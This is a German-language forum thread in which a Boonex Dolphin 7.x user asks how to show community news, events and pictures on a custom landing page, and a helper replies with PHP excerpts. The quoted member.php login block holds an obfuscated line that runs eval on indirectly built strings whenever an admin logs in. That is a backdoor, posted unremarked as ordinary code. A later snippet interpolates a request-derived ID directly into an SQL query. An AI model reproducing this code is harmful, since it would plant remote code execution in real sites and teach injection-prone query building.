Dolphin Inhalte ausserhalb des Scripts ausgeben?

    Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

    • Dolphin Inhalte ausserhalb des Scripts ausgeben?

      Hallo,

      Ich habe eine selbstgetrickte Startseite.
      Login und Registrieren funktioniert wunderbar über diese Seite.

      Nun möchte ich allerdings gerne Inhalte der Community auf dieser externen Seite einbinden, wie z.B. neue Events, News dergleichen.

      Ist das irgendwie machbar?

      Grüßle
    • Ich verstehe selbstgestrickt nicht!!

      Wie ist diese gemacht, wie funktioniert die Einbindung des Logins genau ???

      Du könntest die Functions über php-code includen, aber auch mit wrappe oder iframe einbinden.

      Am besten Du postest den URL

      Viele Fragen .....

      Gruss
      Thomas
      Thomas Poppe
      Sanatoriumsplatz 2
      81545 München

      eMail: poppe.thomas@yahoo.de
      GSM: 0177 / 9 61 08 06
      http://www.linkedin.com/profile/view?id=74057345&trk=tab_pro
      https://www.facebook.com/thomas.poppe2?ref=tn_tnmn
    • Hi,

      keine URL -> Localhost

      Also, das ganze ist wie folgt gelöst:

      Einfache Landingpage mit kurzvorstellung erstellt.
      Da drin ein Login und ein Registrier Formular eingebunden um in die Community zu kommen.

      Mittels Änderung der design.inc.php werden Gäste, also nicht eingeloggte Besucher, auf diese Landingpage geleitet.
      Die Community ist also nur als Registrierter Nutzer betretbar.
      Das funktioniert auch alles bestens.

      Nun möchte ich aber als zusätzlichen Anreiz und Informationsquelle noch die dynamischen Inhalte der Community in Teilen auf dieser Landingpage mit ausgeben, z.B. die letzten Bilder, die letzten News, die neuesten Events.
      Per php include wäre auch mein ansatz gewesen, nur bin ich nicht so tief im dolphin drin um zu wissen wie und was.

      Gruß
    • Eigene Startseite / Landingpage erstellen mit Boonex Dolphin 7.x

      Grüß Dich Pago,

      warum soviel arbeit? Folgender Denkansatz für Dich.

      Im Adminbereich im Pagebuilder "www.DeineDolphinInstallation/admin/pageBuilder.php"

      Erstellung und Bearbeitung von Seiten

      Homepage auswählen!

      und einfach Blöcke weglassen oder hinzufügen, da kannst Du auch den "Login Block"
      drinlassen, damit die Loginfunktion funktioniert.

      Ist wesentlich einfacher, weil Du jede neue Seiten ja in das Boonex/Dolphin Framework
      integrieren musst und diverse Dateien includen musst.

      Du kannst auch oben, der ganz rechte Button, eine "neue Seite" erstellen und Blöcke
      selbst anlegen, geht mit HTML und RSS Blöcke (z.B. Forenpostings), sowie mit einem zus. Modul
      (Block Tools von Deano) dann auch mit php-Blöcken.

      Es gibt die Möglichkeit, anstatt der member.php jede beliebige Seite als Startseite nach dem Login
      festzulegen und da könnte dann Deine neue, angelegte Seite als Ziel definiert werden.

      Hilfreich auch bzw. siehe: Deano - Redirect after Logon Mod

      Das ganze passiert in dieser Datei: member.php und hat in etwa - Auszug - folgende Syntax

      // Check if ID and Password are correct (addslashes already inside)
      if (check_password( $member['ID'], $member['Password'])) {

      $p_arr = bx_login($member['ID'], (bool)$_POST['rememberMe']);

      //Storing IP Address
      if (getParam('enable_member_store_ip') == 'on') {
      $iCurLongIP = sprintf("%u", ip2long(getVisitorIP()));
      db_res("INSERT INTO `sys_ip_members_visits` SET `MemberID` = '{$p_arr['ID']}', `From`='{$iCurLongIP}', `DateTime`=NOW()");
      }

      if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}
      $sRelocate = bx_get('relocate');

      // Deano - Redirect after Logon Mod - Start

      if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')
      $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';
      if (strstr($sUrlRelocate,'member.php'))
      {
      $dbRv = getParam('page_after_logon');
      $dbRd = $dbRv;
      $dbRd = str_replace("{nickname}",getNickName((int)$_COOKIE['memberID']),$dbRd);
      $dbRd = str_replace("{memberid}",$_COOKIE['memberID'],$dbRd);
      $sUrlRelocate = $site['url'] . $dbRd;
      }

      // Deano - Redirect after Logon Mod - End

      $_page['name_index'] = 150;
      $_page['css_name'] = '';

      $_ni = $_page['name_index'];



      Hoffentlich hilft Dir das ein wenig weiter.

      Gruss aus Harlaching
      Thomas
      Thomas Poppe
      Sanatoriumsplatz 2
      81545 München

      eMail: poppe.thomas@yahoo.de
      GSM: 0177 / 9 61 08 06
      http://www.linkedin.com/profile/view?id=74057345&trk=tab_pro
      https://www.facebook.com/thomas.poppe2?ref=tn_tnmn
    • Hey Thomas,

      erstmal danke für die Erklärung.


      Der Grund weshalb ich eine Landingpage ausserhalb von Dolphin erstellt hatte war, weils einfacher war das so umzusetzen wie ich es brauche.

      Die Seite unterscheidet sich vom Aufbau zu stark von der eigentlichen Community.
      Im Endeffekt ist es so, weniger Arbeit für mich.

      Da meine Inhaltsblöcke von Gestaltung und Formatierung stark von Dolphin abweichen, kam es nicht in Frage auf dem Script für die erste Berührung aufzubauen.

      Das einzige was mir halt noch fehlt sind 3 Datenbank querys um ein paar Inhalte aus Dolphin auszulesen.

      grüße
    • Binde doch alles ein, was Dolphin auch included und arbeite dann mit einfachen SQL-Queries:

      Ich hab z.B. auf mehreren Unterseiten Profilbilder eingebaut und dieses dann implementiert.

      Bei mir sieht die Umsetzung so aus!

      /* *** BOFnur bei externen scripts includen *** */

      include( 'inc/header.inc.php' );
      include( 'inc/design.inc.php' );
      include( 'inc/profiles.inc.php' );
      include( '/inc/utils.inc.php' );

      $profileID = getID( $_GET['ID'] ); // ID des Profils das angesehen wird
      $memberID = getLoggedId(); // ID des eigenen Profils
      echo "$memberID"; // Kontrollvariable die später wegkommt

      /* *** EOF nur bei externen scripts includen *** */

      $profileID = getID( $_GET['ID'] );

      $sql = mysql_query("SELECT id FROM bx_avatar_images
      WHERE author_id = $profileID ORDER BY id DESC LIMIT 0,1 ");

      while ($ds = mysql_fetch_object($sql))
      {
      $bild = $ds->id;
      echo "<p><center><img src=\"/modules/boonex/avatar/data/images/{$bild}.jpg\" height=\"120px\" width=\"120px\" border=\"1\" /><br /></center></p>";
      }

      Gruss
      Thomas
      Thomas Poppe
      Sanatoriumsplatz 2
      81545 München

      eMail: poppe.thomas@yahoo.de
      GSM: 0177 / 9 61 08 06
      http://www.linkedin.com/profile/view?id=74057345&trk=tab_pro
      https://www.facebook.com/thomas.poppe2?ref=tn_tnmn